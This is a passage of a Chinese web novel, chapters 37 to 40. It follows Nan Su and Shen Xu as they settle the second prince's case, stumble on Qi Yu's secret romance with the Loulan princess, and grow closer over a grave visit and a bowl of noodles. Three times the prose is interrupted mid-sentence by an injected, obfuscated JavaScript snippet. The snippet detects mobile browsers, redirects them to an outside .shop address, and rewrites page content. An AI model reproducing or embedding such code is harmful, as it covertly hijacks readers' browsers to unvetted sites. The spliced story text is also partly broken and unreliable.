韩世衡推开韩砚那颗难缠的头,理了理衣襟,缓缓起身,“既然真相如此,自然是要还的。” “接下来二皇子打算怎么做?”沈序是问他想怎么解决这件事。 “自然是上报父皇,由父皇定夺。”他停了片刻,“她是我妻,她犯的错,自然也该我来承担。” “既如此,那最好不过了。” “大哥。”韩砚在一旁有些焦急地喊了沈序一声。 沈序看他一眼,知晓他眼里求助的意思,却只是收回了视线,没有说话。 韩世衡伸手挡在韩砚上前的身体,“你不要说话。” 韩砚可怜巴巴地看向他,“哥。” “好了,回去休息。”韩世衡揉揉他的脑袋,又转身面向沈序,“这事我一定会解决,还容沈兄给我几天时日,我会上报给父皇。” “不敢。”沈序弯腰作揖,“那在下便等着二殿下的消息。” 说完,沈序与南夙便转身离开,留下韩砚与韩世衡在原地。 出了宫门,南夙转头看他,问:“你觉得二皇子这几天会去做什么?” 逃跑?自尽? “不知道。”沈序摇头,“等着吧。” 南夙点点头,解决了一桩案子,她心情舒畅了许多,步伐都轻快了些。 她掠着步子走在沈序身前几步。 沈序突然叫住她。 南夙转头。 “等这个案子结束,我告诉你一件事吧。” 37.第 37 章 “沈序!快来呀!” 镇北侯府外,那个来自灵诏的、年轻的世子妃手中提着一个竹篮,扭着头转过身朝府里大喊。 她嘴里喊的,正是这镇北侯府的世子。 只见她话音刚落下,府内便有一身形颀长的年轻男子撩着衣摆跨国门槛,两三步奔着这女子而去。 这世子站在女子身旁,十分自然地伸手接过她手中的篮子,那模样倒要让人认为他们是一对多么恩爱的少年夫妻。 街上人纷纷侧目。 “你怎么这么慢,安雀和红雾都先一步去了。”南夙皱着眉跺脚。 沈序突然伸手屈起食指在她鼻头轻轻一刮,“知错了,小祖宗,走吧。” 他们一齐往城门的方向走去。 距离乌禾的案子已经过去了半个月。 这半个月的日子过得那可叫个精彩纷呈出。 韩世衡果然如他所承诺的那样,在三天后将事情呈给了景帝。 这件事说大也不大,但毕竟涉及皇子皇妃,皇帝还是将决定权交给了诸位大臣。 朝中分派众多,有人认为这件事中死的不过是的普通民女,没有大惩二皇子的必要,自然也有其他人上述二皇子所做之事涉嫌欺君,应当重惩。众多声音下,皇帝折中选了一个办法:废为庶人,罚禁闭三年,不得出宫。 南夙虽然对这个结果很不满意,但毕竟天子已经发话,加上韩砚的关系,她也只好接受这个结果。 不过有一件让她稍微顺心一点的事,韩世衡向他们求的那三天时间,原来是去修缮了乌禾与她父母的墓。 于是等到南夙再一次去城外那座无名的墓前时,那墓上已经刻上了名字: 爱女乌禾之墓 乌禾这短暂的一生,爱她的不多,只有父母两人,可光是父母的爱,就已经满得要溢出来。而如今,记得她的人已经很多很多了。 这件事景帝没有让人隐瞒下来,南夙正好想将事情闹大,便暗中使力将此事在幸福巷中宣传了一番。 巷子里的人听说了这件事,个个义愤填膺,为乌禾鸣冤叫屈。从那天起,乌禾的墓前一夜之间多了瓜果吃食,都是幸福巷的邻居们送来的。 至于那个假“乌禾”,现在要叫她乌子了。 南夙去看过她一次,她的命靠着姐姐乌予那枚已经行将就木的命蛊维持着,只吊着一口微弱的呼吸。韩世衡病态地想让她活着,便用了这样违反人道的方式续着她的命,但南夙告诉她,双生子的命蛊再如何相融,不是她的终究不是她的,这样维持她的生命,只会让她感到痛苦,身体里像有万只蚂蚁在啮咬。 她虽然昏迷着,却是痛苦的。 在征求韩世衡的同意后,南夙结束了她的生命,她没法说这样做是不是带着微乌禾报仇的心思,总之她那时觉得,乌子应该死,她便这么做了。 她没给自己找理由,没像常暗一样站在乌禾的门前,只因为那几声咳嗽,就决定好了一个人的生死。 她将决定的权利交给韩世衡,交给皇帝,总归不是自己就行。 至于常暗,她自然是最该死的那个。她当时说的证词都被呈到陛下面前,陛下立刻派人去查,查出她年轻时杀母杀夫,事后纵火等事,如今还残杀主家。数罪并罚,判处斩立决。 常暗被行刑时南夙没去看。不过她听别人说,那天在场知道她做了什么事的人们纷纷向她吐口水、扔烂菜叶子。 还有人正义凌然地向南夙描述常暗死时的场景。 一个男人狠狠“啐”了一声,说:“这个婊子,居然一滴眼泪也没掉。” 她流什么泪呢? 南夙想。 她的泪水已经在前半生流干,至于后半生,她的内心已经扭曲面目全非,失去流泪的能力了。 韩世衡禁闭前,南夙去见过他一次,为了查看他体内的蛊。 南夙始终没有看出韩世衡与韩砚体内的蛊究竟是哪一味,也没有找到它的来处,只好看看有没有什么办法能够将他们体内的蛊取出。 但花了大半个月的时间,南夙也没有找到办法。 南夙只好先将此事搁置。好在他们体内的蛊虫不是战蛊,并不伤人,不知道下蛊的人究竟有何目的。 说到这个下蛊的人,南夙也是一阵头疼,她找遍了京城中可能会出现蛊虫的地方都没有发现任何有嫌疑的人。也尝试让枕月楼去查,同样没有结果。 于是此事,也被南夙一起抛到一边去了。 南夙觉得,自己身后没调查清楚的事可能已经积起了一个小山堆,而自己根本不知道从哪处开始查。 除了这件事,南夙还发现了一件不可思议的事,这事跟尚未离城的楼兰使臣有关。 距离楼兰使臣离城还有半月。 乌禾的事解决之后,南夙总爱带着安雀和红雾一起看她,那天她们仨人一如往常地去往墓地,路上南夙发现自己上次答应要给乌禾带的糕点忘了买,便让安雀和红雾先一步去往墓地,自己转头回西市买糕点。 幸运抢到最后一份糕点,南夙雀跃地迈着步子出了铺子,穿梭在市集间,往城门那边走,经过一个摊子时,南夙瞥见前方一个熟悉的身影拐进了一个巷子,是那位楼兰使臣弥雅娜。 南夙迟疑片刻,还是没立刻离开,而是站在原地看了一会,没想到接着,一个更加熟悉的身影出现,也拐进了那个巷子里。 戚禹? 他怎么也在这里? 抱着一肚子的好奇与那不太好的猜测,南夙偷偷跟了上去。 她没直接跟着进那个巷子,而是绕了一圈,去了巷子的反面。 她站在巷子前,抬头望着头上那个比自己高了一截的墙,思考着自己到底要不要放蛊虫,思忖半晌,她还是决定,亲眼看看。 于是她轻巧跃起,手扒住墙沿,没发出声音,她偷偷探出个头来,鬼鬼祟祟地往巷子里看了一眼。 这一看,差点惊掉她双眼。 只见巷子里那一高一矮两个人正拥在一起,吻得难舍难分,身体也贴的很近,几乎融在一起。 南夙瞪大眼睛,嘴张得老大,好半晌才反应过来自己看了多么不该看到的一幕,她反应过来想捂住眼睛,但自己两只手正撑在墙上,这一松手,就失去平衡要往下掉,她着急忙慌扒住墙面,不可避免地弄出些声响来。 完蛋。 她低着头用力闭紧眼睛,整张脸拧在一起,狠狠心一抬头,与巷子中惊慌失措的两人对视。 “嗨。”她状若无事地挥手,实则已经尴尬到无地自容。 巷子里两人脸红得像在滴血一样,南夙惊讶地看着他们,感觉今天才认识他们一样。 戚禹是沈序介绍过的,后来又一起吃过好几次饭,南夙自然是知晓他的性格,沈序说他脸皮赛过城墙拐角是一点没错的。 至于这位来自楼兰的公主,虽然相处不多,但南夙见她第一面就觉得她是个爽朗的女子,后来的蹴鞠赛中更是因为她的实力与态度对她刮目相看。 但如此没心没肺的俩人,现在在南夙面前,脸红了。 不是一般的红。 不过南夙也意识到自己是撞破了人家亲热的画面,她有些不好意思地挠挠头,撑着墙跳进巷子。 “你们俩?”她走到两人面前,手指在两人面前反复交移着。 弥雅娜羞涩地转过身去了。 南夙只好面向戚禹。 戚禹见来的人是南夙已经降低了警惕,反正已经被撞破,索性也不藏了,说出来说不定他们还能给点建议,于是他说道:“其实我们俩已经在一起很久了。” “很久是多久?” “前年。” 那岂不是还在与北狄交战时便在一起了,难道? “弥雅娜恐怕不是恰好经过战场吧。”南夙恍然大悟,她就说,怎么会有人刚好带着兵走到战场里去了,原来不是巧合,是蓄谋已久啊。 弥雅娜听到自己的名字转过身来,点点头,“是的。” 她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17217224|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对这位大景的世子妃也没有太多了解,只是在赛场上简单比过一回,她很欣赏她。 但被她看到方才那一幕时,弥雅娜是起了杀心的,只是看到戚禹对她态度如此,便知她是戚禹信赖的人,这才敢大胆地点头。 “那你们是怎么认识的,又是怎么相爱的?” 南夙突然凑近脑袋看着他们,眼睛里爆发出极大的好奇。 “阿序知道你如此八卦吗?”戚禹无奈地摇头。 南夙不在意地挥挥手,“别管他,你们说你们的。” 戚禹与弥雅娜对视一眼,戚禹才缓缓说道:“两年前我押送物资前往北疆,路上遇北狄埋伏,阿娜刚好路过,救了我一命,照顾了我两个月,又派人护送我到达北疆,那些日子阿娜日夜相守,然后……” 后面的话他没说完,被南夙给补齐。 “然后你们就相爱了?” 戚禹和弥雅娜同时点头,“嗯。” 怎么又是救人,南夙感觉这段日子光听别人救人而起的爱情故事了。 她愿称之为:救你一命的爱情。 她问出自己最大的疑问,“那你们相隔这么远,怎么联系对方,难道靠写信?” 戚禹面露羞涩,好半晌才回道:“嗯。” 那这也太爱对方了吧,楼兰与京城隔的多远啊,一封信来返快一些也得三个月吧。 “那你们俩打算怎么办?”南夙发出致命一问。 靠着这难得的机会几年见一次肯定是不行的。 戚禹正了正色,严肃地说:“我打算去求陛下赐婚。” “去啊,我支持你。”南夙不经大脑思考便吐出这话来。 戚禹说完就意识到自己被南夙一激又上火了,可是望着眼前比自己更激动的人。 戚禹:“……” 他只好慢慢解释,“这件事没有那么简单。” “为什么?”南夙困惑。 “这事难就难在,阿娜是楼兰的公主。” “可我也是灵诏的公主啊,我不也来大景了。” 戚禹面无表情,“因为我没有功绩。” 沈序与父上战场,是有军功的,他身份尊贵,又有功绩在身,受人敬仰,虽然不是皇子,但陛下重视镇北侯,重视沈序,南夙嫁给他,灵诏并不会觉得身份被贬低。 而戚禹,只剩下一个身份尊贵了。 南夙了然地点点头,出主意道:“那你就去挣你的功绩啊。” “姐姐,我真求你了姐姐,你别激我,我哪来的功绩可以挣?”戚禹苦着一张脸。 站在一边的弥雅娜也低下了头,看起来很是失落。 “害。”南夙一拍她的肩,“别伤心,下此有事我第一个找戚禹,一定让他挣够功绩风风光光地娶你进门。” 弥雅娜愣在原地,“真……真的吗?” “当然啦,我南夙一言既出,驷马难追。” “谢谢你,中原的公主。” “不用谢。”南夙弯着眼睛,无所谓地挥挥手,“不过你说错了,我不是中原的公主,我是灵诏的公主。” 弥雅娜听她纠正自己的错误,忙向她道歉,面上露出些无措来。 南夙没想到外表爽朗的楼兰昆弥原来本性如此可爱。 她咧着嘴朝她笑笑,“别担心,我没有生气,我现在也确实是半个大景人啦。” “你这个朋友我交了。”弥雅娜突然朝南夙伸出手。 南夙欣然答应,“我的荣幸,就冲你这一口流利的中原话。” 弥雅娜抿着嘴笑。 “你和阿序怎么样?”一旁的戚禹突然问道。 南夙调转视线看他,“我们很好呀,超有默契,这两天又合作破了一桩案子。” 戚禹给了她一个白眼,他当然知道南夙说的是这次二皇子的事,但他说的是这个吗? 他调出他那道无语至极的语气,眯着眼睛看着南夙,“既然你们这么默契,难道还没有看出来喜欢对方吗?” 38.第 38 章 沈序这阵子不太正常。 南夙确信。 自从那天从二皇子的寝殿出来之后,沈序突然失去了以前的进退有度,突然开始粘着南夙起来。 这是怎么回事? 就像现在,他们约好了一起去墓地看望乌禾,因为前几日沈序一直在忙没得到机会去看看,于是他一闲下来,南夙便决定带他去看看。 南夙提着竹篮,里面放着些寻常祭祀用的东西,沈序还在府里,不知道在做什么。 她在门外等了一会,实在没忍住往里面喊了一声。 刚喊完,沈序便出现了。 他十分自然地接过自己手里的篮子。 南夙对他的姗姗来迟很不满,皱着眉埋怨他动作太慢。 沈序却突然伸手刮了一下自己的鼻子。 干嘛突然这样。 南夙被他的动作吓一跳,他们以前是这样相处的吗? 南夙回忆了一下,沈序这几日好像突然变了很多,以前虽然也常有这些小动作,但多带着些逗弄的意思,但沈序现在的表现半点也看不出逗弄的意思,相反,他表情看起来很认真。 沈序莫不是脑子出了问题? 难道他那天也听见了戚禹说的那句话? 可是那天沈序不在场啊。 那日,戚禹说完这句话后便闭上嘴,静静等着南夙的反应。 南夙愣了几秒钟才反应过来戚禹说了什么。 她皱着眉瞪了戚禹一眼,说什么莫名其妙的话? 戚禹好似读懂了她眼神里的意思,无奈地摇摇头,暗想这俩人对别人的事那么积极,三两句就能悟到,怎么到了自己迟钝如此。 算了算了,他人事他人命,看他们缘分吧。 南夙当时对戚禹的话不屑一顾。 此时却突然不确定起来。 沈序不会真的喜欢我吧? 什么时候喜欢上我的? 她仔细往前回忆了一下,可任凭她将记忆翻到他们最初的遇见,她也没找出任何一点沈序喜欢她的迹象。 戚禹这罪人,果然是胡诌。 南夙将这些想法统统撵出脑中,暂时不去想。 南夙今日穿了一身荷叶绿的短衫,那衫子是淡淡的绿,像一汪被泉水洗过的天,像初荷的叶背,嫩得仿佛能掐出水来。裙摆松松地垂着,随夏风泛起些微涟漪。 她今日没做发髻,只是随手将头发拢起来,偏到右边,用一条浅绿色的布条在耳后松松地绾了一下。绾得不高,贴着后脑勺往下走,将将好在耳垂下方的位置,像一笔写到一半的墨,悬在那儿,不肯落下去。 无处安放的碎发垂在耳畔,被风吹得轻轻拂过脸颊。 是沈序从未见过的南夙。 南夙素日爱穿深色的衣裙,除了元宵节那日试穿衣裳生了烦闷随意套了件素裙之外,这还是沈序第一次见她穿这么素净的衣裙。 应当是去祭拜的缘故。 她往日里好动、活泼、爱笑,独独今日,沈序在她身上看出点素雅来。 很美。 沈序看到南夙的第一眼就想这么说,可不知是昨夜下了整夜的雨掩了他的声,还是今日热烈的旭日糊了他的嗓,那一刻,他没能说出半句话来。 乌禾的墓与以前大不相同,安雀和红雾那俩丫头不知道又是去了哪,东西放在墓前,却没见到人影。 南夙带着沈序穿过墓地,清明挂上的吊挂钱在风中轻晃,一片白茫茫中,乌禾的墓立在那里,被阳光照了个完全。 昨夜的雨到底是下到了城外,墓碑上湿淋淋的,像泼水凝成的霜。南夙与沈序点了蜡烛,燃了香,又将竹篮子里的点心一一放在墓前。 做完这一切,他们一同站起身来。 “沈序,你看。” 沈序转过头,顺着她手指的地方看去。 “乌禾墓上的吊挂钱比别的墓晃得都高。” 她轻轻地说,语气那么缓,那么温柔。 “嗯。”沈序转头看她,没有移开目光,好久才说,“她看得见。” 她看得见今日升起的太阳。 这就足够了。 南夙收回视线,感受到那一缕长久落在自己身上的、始终没有挪开的目光。 她大胆地迎上那目光,却被阳光晃得眯了下眼睛。 可即使眯上了眼睛,南夙却还是看到了来自身前人眼中那浓浓的、抹不去的情愫。 沈序也许是真的喜欢我。 她想。 “风来得刚好。”沈序突然开口,他高高束起的马尾被身后突起的风吹到身前,两鬓的碎发在风的附和下轻扬,“你觉得呢?” 南夙看着眼前他那张有些模糊的脸,拨开额前被风吹乱的发丝,弯腰背手凑近沈序,朝她一歪头,露出个狡黠的笑,“你怎样觉得,我就怎样觉得。” 说完,她娇俏地转了身,迈出步子往前走去,快走两步后又提起裙摆加了速度,慢慢跑起来,那方向却不是离开的方向。 她跑得不快,但很好看。 风从她的身后吹来,将她的衣裙往前吹,布料贴在她身上,勾勒出一个正在抽条的身子。肩胛骨的轮廓在薄薄的夏衫下轻轻起伏,像蝴蝶刚刚展开的翅膀。腰身细得一只手就能圈过来,被风吹紧的衣裳显出腰窝处那道浅浅的凹陷。 裙裾被风吹得往前飘,像一面鼓满了风的帆,她的小腿在奔跑中若隐若现地露出来,白得像雪一样的肌肤在阳光下晃悠。 沈序忽然移开了目光,喉结滚了一下。 他拿不透南夙的意思,却看得出她在等着自己追上,索性也不再想什么目的,提着步子朝她追去。 那是个矮矮的小山坡,南夙跑到上面才发现这有一片野栀子。 早花已经在五月天露出真颜,白生生的花藏在墨绿的叶子里,香气漫山遍野地淌。 南夙就停在这片香气中,看着沈序追上自己的身影,停在自己身前。 她的头发已经被风搅散了大半,松松垮垮地搭在肩上,几缕调皮点的已经在离家的路上,杂乱的缠在一边。 南夙没有抬头,虚虚抬眼看了一眼沈序。 沈序一直在看她。 她忽然抬手将发上那根嫩绿的布条扯下,递到沈序眼前。 沈序看着她红唇轻启,听见她柔柔的声音在耳畔响起。 “沈序,为我绑头发吧。” 他接过那条发带,手指从南夙手心划过,南夙手心忽地蜷起,像是被碰了尾巴的猫。 南夙转过身去,将后背留给他。 沈序忽地想起与楼兰的赛事那天。 那天他初次发现了自己对南夙的心意,便借着私心为她束过一次发。没想到再一次的机会来得这么快。 沈序动作轻柔地拢起她的头发,将发丝放到右肩,那条浅绿色的布条在发间饶了几圈,才在那泼墨的青丝上留下一个结。 不知道是不是借了这野栀子的生机,那结上居然生出朵栀子花来。 南夙摸了摸那朵凭空出现的栀子花,抿了抿嘴,脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17223710|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生出点薄红。 她手抚着那朵花,没有看沈序,好久才吐出一句:“谢谢。” 沈序像是被她突然的无措逗乐,没忍住笑出声来。 南夙瞪了他一眼。 他们在山坡上相对而立着,南夙突然蹲下身子,毫无顾忌地坐在一棵野栀子下。 “坐这儿。”她拍拍自己身侧的地方,抬头朝沈序眨了下眼睛。 沈序应声而坐,他支起一条腿,另一条腿伸直,两只手撑在身后,眯着眼睛仰起头用力吸了口气。 “我们来这儿的时间是不是不太对?”沈序突然发问,“阳光太烈,昨夜又下了雨。你感受到身后正在被打湿的衣衫没有?” 南夙却竖起一只手指朝他左右摇了摇,一脸不认同的表情,“日头这么好,风也软,满山栀子花作陪,哪里不对?” 沈序定定地看着他,忽然笑出声来,“也是。” 南夙冲他轻轻扬了下下巴,却见沈序嘴唇翕合,像是还有想说的话一般。接着,他听见沈序清风般的声音传来。 他说:“有你在侧,就是最好。” 南夙久久回不过神来。 沈序突然举起胳膊扯了片栀子叶来,他把栀子叶卷成筒,放在嘴边试着吹了几下,终于吹出一个单音,长长的,细细的,像一声吹不响的哨音。 南夙惊讶,“你还会吹这个?” “小时候学过些。”沈序扔掉手中的叶子,“不过栀子叶不容易吹响,你想听,回去我寻片柳叶吹与你听。” “好啊。”南夙弯着眼睛。 此后,这片天地只有风声。 日头越发盛了。 南夙突然站起身来,冲沈序伸出只手,“走吧,我们回去了。” 沈序握着她的手,却没借她的力,自己使了力站起身来。 “走吧。” 他们并肩往山下走去,穿过栀子林,越过墓地,朝京城里走,朝家里走。 这时,沈序突然开口问了句不着方向的话。 他问:“南夙,你今晚想去哪用晚膳。” 这话问得很是莫名其妙,答案也是显而易见,不知道问出来是何意味。 可南夙却读懂了他的意思,她偏头看他,停了步子。 沈序也停下脚步。 南夙面朝他,“回家吃。” 沈序低头轻声笑了,他又问:“那,想吃什么?” 南夙作出一个思考的动作,好像这是个多么难决定的问题一般,许久吐出一个模棱两可的答案,“厨房今晚做什么,我就吃什么。” 沈序低垂着眼睛,长长的睫毛撒下的阴影盖住他眼中情绪。 他没说话,默声往前走。 一个影子突然打在他的身上,沈序抬头。 南夙站在他身前,阻了他往前走的脚步,他歪头看她,表示自己的疑问,南夙也歪头,歪向与他相反的方向。 这奇异的画面维持了许久,南夙才开口。 她说:“沈序,回家给我煮碗面吧。” 沈序笑着说:“好。” 他声音轻得像是刚过的风,心跳却似昨夜猛烈的雨,在胸膛里踢着,踹着,但再猛烈的动静最后都化成了水在他心头淌过,叫他难耐不已。 南夙那简单的要求飘在空中,“给我加个蛋。” “好。” 沈序抬眼看向那人,南夙的发带飘在空中,他伸手想抓住,却克制地住了手。于是他只好放纵自己将视线停在南夙身上,这一停,便是永远了。 39.第 39 章 南夙终于是吃上了沈序煮的面。 回府后,沈序便立刻钻进了厨房,直到用晚膳的时间才再次出现在众人面前。 今晚的晚膳设在正厅,丫鬟们鱼贯而入,布好了满桌菜肴,府里众人围坐在桌前。这是这么多天以来,镇北侯府的大家第一次有了时间吃一回团聚饭。 侯夫人望着南夙身边缺了的位置,脸一沉,将眼角的皱纹挤严实了,正欲开口斥未在场的沈序,却在下一秒瞥见他家那个姗姗来迟的逆子的身影出现在屋外,手里端着个瓷碗,不知道装了什么。 侯夫人斥他:“干嘛去了?” 沈序看了侯夫人一眼,“煮面去了。” 侯夫人一瞪,“桌上这么多不够你吃?让这么些人等你用膳。” 沈序立马低头认错,“是儿子来迟,父亲母亲恕罪。” 说完,他信步走向南夙,停在她身边,把手里那碗面放到她的手边。 “快吃,趁热。”他说,声音压得低,眼里却亮得藏不住。 南夙这时才抬头看他,冲他调皮地眨了下眼睛,接着又转头面向侯夫人,有些羞涩地替沈序解释:“阿家,是我嘴馋想吃,沈序是替我煮的。” 侯夫人听她如此说倒是一愣,轻笑一声,语气缓下来,连眼中都闪过笑意。 “原来是夙儿想吃,那快尝尝看,看这小子的面煮得怎么样,要是不行,让他回去重煮。” 说着还伸出手指在空中点了点,点的是沈序。 南夙抿嘴笑着,“好的阿家。” “行了。”侯爷这时轻咳一声,也将嘴角的笑压下去,故作严肃地拍了下桌,发挥了他一家之主的威严,“用膳吧。” 南夙见阿翁阿家先动了筷,这才低头翻了翻自己手中的面。 简单的清水面,几片青色的绿叶菜点缀在上面,南夙一翻,看见了底下卧着的荷包蛋。 圆滚滚的,黄澄澄的,像个太阳。 沈序在南夙身旁落了座。 刚坐下,忽然感觉到腰侧背狠狠一肘。 沈序扭头,对上自家弟弟沈褚那张憋不住笑的脸。沈褚走过来,压低声音,却恰好能让近旁的几个人听见,“哥,行啊你,咱们侯府的大厨房不够你使?非要亲自去煮?啧,这面我也想尝一口,尝尝嫂子让煮的是啥味儿。” 南夙脸更红了,红得像要滴出血来。 沈褚往日里也叫她嫂嫂,但这声嫂嫂显然比往日的威力更大。 沈序抬手就去敲他脑袋,沈褚灵巧一躲,嘿嘿直笑。 侯夫人终于没忍住,笑出了声,拿帕子按了按嘴角,瞥了眼南夙,又瞥一眼自家儿子,眼里满是满意。 侯爷提起筷子夹了块烧鹅,嘴里还念叨着:“到底是有人心疼了,老夫当年可没这待遇。” 沈褚肆无忌惮地笑出声来。 沈序挨着沈褚,趁其不备,在桌下狠狠踩了他一脚。 “嗷!” 沈褚发出来了一声杀猪般的惨叫声,龇牙咧嘴,却还在笑。 这是一碗面引起的血案。 南夙低着头,挑了一筷子面,热气扑在脸上,暖烘烘的,她悄悄抬眼,正撞上沈序的目光。 他一直在看自己。 南夙慌忙垂下眼,嘴角却弯了起来。 用完晚膳之后,南夙向阿翁阿家告了礼,才回了院子。 刚跨过月洞门,便见两个窈窕身影朝她飘来。 南夙定睛一看,是安雀和红雾两人。 两人飘到南夙一边,一人拥着南夙的一只手,南夙被她俩的动作搞得一头雾水,心想这两丫头今日又撞了什么邪。 “你们俩这是?”她一脸困惑。 安雀凑到她的耳朵边说了一句话。 南夙立马从脖子红到了头发丝。 “好你个安雀,连你也揶揄我。” 南夙脱开安雀挽着自己的手,说着就要打她,被安雀轻巧躲过,往前几步跑到两人身前了。 她转过来面向南夙和红雾背着走,“小姐如此气急败坏,想必我们猜的是真的了?” 南夙一张脸红得不像样,皱着眉头装作生气的模样,竟没有半分威慑力。 她不知如何回答安雀的话,便一使力将另一只手从红雾手臂里抽出来。 她手指着红雾,眯着眼睛,“说,你是不是跟着安雀那丫头一起在背后揣测我呢?” 红雾略显慌乱地举起手在身侧摇摆,却不说话,直到南夙将指着她的手放下来,红雾立刻一个提步跑向安雀,站到安雀旁边去,挽起了安雀的手。 然后南夙便看见眼前的两人同时摇头晃脑地向她炫耀,“当然啦。” “好你们两个。” 南夙气急败坏,立刻提步追上去,三人在院子里追打起来。 五月天草木葳蕤,花事未了。 院子角落的石榴正开着花,朱红的花苞鼓鼓的,从绿叶间冒出来,而这棵机勃勃的石榴树下,也是一团缤纷,红色、紫色、绿色三种颜色的花挨在一起,在这清风中微微晃动着。 走近看才发现,这哪是什么花? 原来是南夙她们三个,正坐在那石榴树下。她们三人保持着惊人的相似的动作,两条腿直直的伸着,两只手撑在身后,扬着脑袋感受着微微的风吹起她们的衣裙,拂起侧脸的发丝。 但若是仔细看,就能发现几人的衣裙都皱了许多,连头发也乱了,只散散搭在肩上。 “唉?说真的,你们俩当时到底在哪啊,我怎么没发现你们?”南夙突然转头看着右边两人,问出自己的疑惑。 方才安雀趴在她耳朵边说了句,“小姐与世子爷好生恩爱。” 南夙刚开始以为是沈序给自己煮面这事传到了她们的耳朵里,后来才知道,原来是这两人偷偷藏在栀子林看见了她和沈序在栀子林做的事。 这比听说沈序给她煮面这事更让人难为情! 这下南夙脸上的红潮是下不去了,再一跟两人大闹一番,更是红得不像样,直到三人闹到石榴树下,在石榴树下扭打一番,又休息了好一会才褪下去。 红雾老老实实回答:“我们就在那栀子林下面。” 而安雀就不一样了,她狡黠地笑着,冲南夙一挑眉, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17227254|196354||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “小姐平日里对这些事最是敏锐,今日居然没发现我们,看来是被世子爷迷了眼了。” 南夙又想打她,奈何红雾挡在中间,不好动作。 “安雀你这丫头!” 她说不出重话,只好捡着自己那些无能的愤怒来发发。 安雀笑得更大声了,连红雾都没忍住在一旁笑出声来。 南夙看着她们的弯着的眼睛,扬起的笑脸,不自觉也咧开嘴来。 这样真好,安雀与自己一同长大,从小便要照顾自己,为自己操心很多事,自从得知自己要入京和亲时,因为担忧自己而偷偷落了许多泪,都藏在她在石语那间小小的屋子里,没有泻出来。 入了京后,她也处处替忧心,她们来自灵诏,不是大景人,她便担心镇北侯府的人待南夙不公;南夙与沈序的婚事见没有感情,她便担心沈序薄待南夙。 好在侯爷夫人慈悲,沈序人也明事理,所以南夙入府后没被亏待,反而将养得极好。 红雾经历了一段灰暗的过往,她那次本是想以命与南夙她们相搏,却被南夙拦下,带回了京城,开启了一段新的生活。 她们以前都挑着担子,担子里压着各自的障,那障重啊,叫人没法直起腰来。 可是现在,她们安然地坐在镇北侯府的院子里,坐在这颗红艳艳的石榴树下,仰着脸,露着牙,没有束缚地大笑。 南夙也好开心。 许久,她突然开口,话像曲子一样飘进风里,她说:“我喜欢沈序。” 安雀和红雾停下了微笑,正经起来,二人同时看向南夙,却没说话。 南夙与她们对视一眼,立即就读懂了她们眼中的意思。 她轻笑一声,“我一定幸福。” “那他呢?”安雀轻声问。 明明她自己已经知晓答案,却还是想在南夙嘴里听到她的答案,不是沈序同她承诺的,不是侯爷夫人向她打趣的,也不是安雀红雾朝她揶揄的,是南夙自己所感受到的。 南夙果然轻声开口,语气肯定:“他一定也喜欢我。” “那便好。”红雾直直地望着她,听着她那句肯定的话,像是给她们的保证一样,在胸腔里安了心。 她们看着对方,好久,一起笑了。 南夙说:“不论如何,你们俩都要留在我身边。” “那是当然。”安雀立刻接话,语气是相当理所当然,可南夙却看见了她眼中蓄满的泪。 她一哭,红雾也没忍住落下泪来,哽咽着说:“小姐,谢谢你。” 南夙说:“是我要谢谢你们陪着我。” 说完,她转头不经意地抹抹自己的眼下,转回身子伸出手指指着她们两个,在空中点点,“真没出息啊你们俩。” 没想到因为她这句话,两人哭得更来劲儿了。安雀更是彻底放弃了端庄,越过红雾一把抱住了南夙,红雾有样学样,张着手也重重压上了南夙的肩膀。 南夙没了法子,连忙一手搂着一个人拍拍她们后背,什么煽情感动都扔到身后了。 没有人发现的地方,一抹浅蓝的身影从墙角掠过去。 40.第 40 章 暮色四合时,南夙终于将安雀和红雾哄回了她们的房间,然后才回了院子。 窗台的红烛一跳一跳的,像是有了魂魄一样。 南夙推开房门,刚绕过屏风就见一人正端坐榻上,目光停在这屏风上,不知盯了多久,她一出现,那视线便立刻化作了实体,落在她身上。 南夙掀起眼眸,正对上沈序那长久地、始终没有挪开的视线。 她当然不会迟钝到认为沈序是在欣赏这屏风。 像是为了回应沈序半响,南夙对上他的视线后,也久久没有离开,直到沈序终于移开目光,低头无声地轻笑了一声,像是被两人幼稚的行为给逗笑般。 他拍拍自己身侧的位置,声音轻轻,“过来。” 南夙依他所言走到他身边,却没有坐在他身侧,反而走到凭几的另一旁,自顾自坐了,一只手倚在凭几上,转眼看他。 “做什么?” 她声音娇俏。 沈序冲他挑了下眉,语气幽幽,“想请夫人喝杯茶而已,怎么,夫人连这都不愿意了?” 南夙瞪他一眼,“说胡话。” “茶呢?”她冲沈序伸出手。 沈序将她的手拨下去,“心急什么,水还烧着呢。” 